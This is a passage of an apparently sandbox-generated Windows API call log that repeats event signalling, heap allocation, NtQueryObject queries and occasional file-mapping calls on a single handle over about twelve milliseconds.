ResetEvent (hEvent=0xe8) returned 1 [0149.199] SetEvent (hEvent=0xec) returned 1 [0149.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.199] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.199] ResetEvent (hEvent=0xe8) returned 1 [0149.199] SetEvent (hEvent=0xec) returned 1 [0149.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.199] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.199] ResetEvent (hEvent=0xe8) returned 1 [0149.199] SetEvent (hEvent=0xec) returned 1 [0149.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.200] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.200] ResetEvent (hEvent=0xe8) returned 1 [0149.200] SetEvent (hEvent=0xec) returned 1 [0149.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.200] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.200] ResetEvent (hEvent=0xe8) returned 1 [0149.200] SetEvent (hEvent=0xec) returned 1 [0149.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.200] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.200] ResetEvent (hEvent=0xe8) returned 1 [0149.200] SetEvent (hEvent=0xec) returned 1 [0149.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.201] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.201] ResetEvent (hEvent=0xe8) returned 1 [0149.201] SetEvent (hEvent=0xec) returned 1 [0149.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.201] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.201] ResetEvent (hEvent=0xe8) returned 1 [0149.201] SetEvent (hEvent=0xec) returned 1 [0149.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.201] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.201] ResetEvent (hEvent=0xe8) returned 1 [0149.201] SetEvent (hEvent=0xec) returned 1 [0149.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.201] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.202] ResetEvent (hEvent=0xe8) returned 1 [0149.202] SetEvent (hEvent=0xec) returned 1 [0149.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.202] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.202] ResetEvent (hEvent=0xe8) returned 1 [0149.202] SetEvent (hEvent=0xec) returned 1 [0149.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.202] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.202] ResetEvent (hEvent=0xe8) returned 1 [0149.202] SetEvent (hEvent=0xec) returned 1 [0149.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.202] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.202] ResetEvent (hEvent=0xe8) returned 1 [0149.202] SetEvent (hEvent=0xec) returned 1 [0149.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.203] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.203] ResetEvent (hEvent=0xe8) returned 1 [0149.203] SetEvent (hEvent=0xec) returned 1 [0149.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.203] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.203] ResetEvent (hEvent=0xe8) returned 1 [0149.203] SetEvent (hEvent=0xec) returned 1 [0149.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.203] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.203] ResetEvent (hEvent=0xe8) returned 1 [0149.203] SetEvent (hEvent=0xec) returned 1 [0149.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.204] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.204] ResetEvent (hEvent=0xe8) returned 1 [0149.204] SetEvent (hEvent=0xec) returned 1 [0149.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.204] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.204] ResetEvent (hEvent=0xe8) returned 1 [0149.204] SetEvent (hEvent=0xec) returned 1 [0149.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.204] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.204] ResetEvent (hEvent=0xe8) returned 1 [0149.204] SetEvent (hEvent=0xec) returned 1 [0149.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.204] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.204] ResetEvent (hEvent=0xe8) returned 1 [0149.205] SetEvent (hEvent=0xec) returned 1 [0149.205] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.205] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.205] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.205] ResetEvent (hEvent=0xe8) returned 1 [0149.205] SetEvent (hEvent=0xec) returned 1 [0149.205] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.205] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.205] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.205] ResetEvent (hEvent=0xe8) returned 1 [0149.205] SetEvent (hEvent=0xec) returned 1 [0149.205] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.205] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.205] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.205] ResetEvent (hEvent=0xe8) returned 1 [0149.205] SetEvent (hEvent=0xec) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.206] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.206] ResetEvent (hEvent=0xe8) returned 1 [0149.206] SetEvent (hEvent=0xec) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.206] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.206] ResetEvent (hEvent=0xe8) returned 1 [0149.206] SetEvent (hEvent=0xec) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.206] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.206] ResetEvent (hEvent=0xe8) returned 1 [0149.206] SetEvent (hEvent=0xec) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.207] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.207] ResetEvent (hEvent=0xe8) returned 1 [0149.207] SetEvent (hEvent=0xec) returned 1 [0149.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.207] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.207] ResetEvent (hEvent=0xe8) returned 1 [0149.207] SetEvent (hEvent=0xec) returned 1 [0149.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.207] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.207] ResetEvent (hEvent=0xe8) returned 1 [0149.207] SetEvent (hEvent=0xec) returned 1 [0149.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.208] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.208] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.208] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.208] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.208] ResetEvent (hEvent=0xe8) returned 1 [0149.208] SetEvent (hEvent=0xec) returned 1 [0149.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.208] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.208] ResetEvent (hEvent=0xe8) returned 1 [0149.208] SetEvent (hEvent=0xec) returned 1 [0149.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.208] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.208] ResetEvent (hEvent=0xe8) returned 1 [0149.208] SetEvent (hEvent=0xec) returned 1 [0149.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.209] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.209] ResetEvent (hEvent=0xe8) returned 1 [0149.209] SetEvent (hEvent=0xec) returned 1 [0149.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.209] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.209] ResetEvent (hEvent=0xe8) returned 1 [0149.209] SetEvent (hEvent=0xec) returned 1 [0149.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.209] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.209] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.209] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.209] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.209] ResetEvent (hEvent=0xe8) returned 1 [0149.209] SetEvent (hEvent=0xec) returned 1 [0149.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.210] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.210] ResetEvent (hEvent=0xe8) returned 1 [0149.210] SetEvent (hEvent=0xec) returned 1 [0149.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.210] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.210] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.210] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.210] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.210] ResetEvent (hEvent=0xe8) returned 1 [0149.210] SetEvent (hEvent=0xec) returned 1 [0149.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.210] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.210] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.210] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.210] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.211] ResetEvent (hEvent=0xe8) returned 1 [0149.211] SetEvent (hEvent=0xec) returned 1 [0149.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.211] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.211] MapViewOfFile (hFileMappingObject=0x1a8, 